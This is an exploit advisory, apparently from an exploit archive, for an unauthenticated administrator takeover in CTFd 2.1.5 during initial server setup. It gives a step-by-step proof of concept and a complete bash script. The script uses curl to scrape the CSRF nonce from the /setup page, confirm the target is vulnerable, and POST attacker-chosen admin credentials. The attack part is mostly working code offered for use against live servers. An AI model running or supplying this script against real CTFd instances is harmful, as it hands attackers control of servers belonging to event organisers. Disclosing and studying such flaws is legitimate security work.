CTFd 2.1.5 Administrator Account Takeover

2020.01.04
Risk: Medium
Local: No
Remote: Yes
CVE: N/A

# Exploit Title: CTFd Administrator Account Takeover # Date: 2/1/20 # Exploit Author: Social Engineering Neo - @EngineeringNeo # Vendor Homepage: https://ctfd.io # Software Link: https://github.com/CTFd/CTFd/releases/tag/2.1.5 # Version: CTFd Local/Remote Hosting 2.1.5 and below # Tested on: CTFd 2.1.5 CTFd Server Administrator Account Takeover Vulnerability by Social Engineering Neo. Tested On: - Live Remote Hosted CTFd v2.1.5 Server. Local Hosted CTFd v2.1.5 Server. Windows MacOS Linux Class: - Improper Authorization - CWE-285 Base: - Direct Request 'Forced Browsing' - CWE-425 Summary: - Due to Improper Authorization Checks and Direct Request Protections, Newly Created CTF'd Servers Have the Potential of a "Full" Administrator Account Takeover During the Setup Process. This Includes the Given URL Prior to and During SETUP/UNTIL "Save-State". Short Description: - A remote attacker with knowledge of this new CTF'd hostname could modify critical configurations of the server. This is only possible while the server admin is performing the initial setup. Proof of Concept: - #### VICTIM – (Server Admin) 1.) - Setting up CTF'd server configuration as usual. ATTACKER 1.) - Knowledge of newly created CTFd hostname. 2.) - Access https://[HOST].ctfd.io to verify the server is up. 3.) - Access https://[HOST].ctfd.io/setup to set/modify server Administrator password, username and email – no authentication/authorization required to input these values 4.) - Login with new admin credentials at https://[HOST].ctfd.io/login #### CODE: - (BASH) #### #!/bin/bash clear read -p "Enter Target Address Followed by Port: " target port # localhost 8080 if [ $port -lt 65536 ] && [ $port -gt 0 ]; then curl --silent -H 'Cookie: session=00000000-0000-0000-0000-000000000000' -b 'session=00000000-0000-0000-0000-000000000000' $target:$port/setup > preexp #Downloaded to check <title>, <h1> and nonce values. else echo "Incorrect Port." fi titleCheck=$(grep '<title>CTFd</title>' preexp) #If server is not configured, default <title> value is 'CTFd' until admin changes headerOneCheck=$(grep '<h1>Setup</h1>' preexp) #Due to the possibility of admin naming server to 'CTFd', a check for <h1> value 'Setup' is made to double check. nonce=$(grep 'var csrf_nonce' preexp | awk '{print $4}' | sed 's/.//;s/..$//') #This nonce will include cookie value of 'session=00000000-0000-0000-0000-000000000000' so don't worry;) rm preexp if [ $titleCheck = "<title>CTFd</title>" ] && [ $headerOneCheck = "<h1>Setup</h1>" ]; then read -p "Target is Vulnerable, Would you Like to Attack? (Y/n): " attack if [ "$attack" = 'y' ] || [ "$attack" = 'Y' ]; then clear read -p 'CTF Name: ' ctfName #Name for the CTF read -p 'Admin Username: ' adminName #Username for the administration account read -p 'Admin Email: ' adminEmail #Email address for the administration account read -p 'Admin Password: ' adminPassword #Password for the administration account read -p 'User Mode (teams/users): ' userMode #Dictates whether users join teams to play (Team Mode) or play as themselves (User Mode) clear echo Working on it... curl --silent -i -X POST -H 'Cookie: session=00000000-0000-0000-0000-000000000000' -b 'session=00000000-0000-0000-0000-000000000000' --data 'nonce='$nonce'&ctf_name='$ctfName'&name='$adminName'&email='$adminEmail'&password='$adminPassword'&user_mode='$userMode'' http://$target:$port/setup #Send previously entered values to $target clear echo Attack Executed! curl --silent -H 'Cookie: session=00000000-0000-0000-0000-000000000000' -b 'session=00000000-0000-0000-0000-000000000000' $target:$port/setup > postexp #Verify successful exploit titleCheck=$(grep '<title>CTFd</title>' postexp) headerOneCheck=$(grep '<h1>Setup</h1>' postexp) rm postexp if [ $titleCheck = "<title>CTFd</title>" ] && [ $headerOneCheck = "<h1>Setup</h1>" ]; then #Values should be diffrent from what we started with pre-setup clear echo Something went Wrong, Try Again. else clear echo 'CTFd Server Hosted @ '$target' has been Comprimised:)' fi fi else echo Something went Wrong, Try Again. fi #### [ADMIN USER TAKEOVER SUCCESSFUL] #### VIDEO: - https://youtu.be/li9dX7CUTTg *Exploit* : - https://youtu.be/bQyVyXzvHCo *Demo* Expected Result: - Users should not have the ability to read/write critical server/user configuration without proper authentication. Observed Result: - Unauthorized users have the ability to read/write critical server/user configuration without any authentication.


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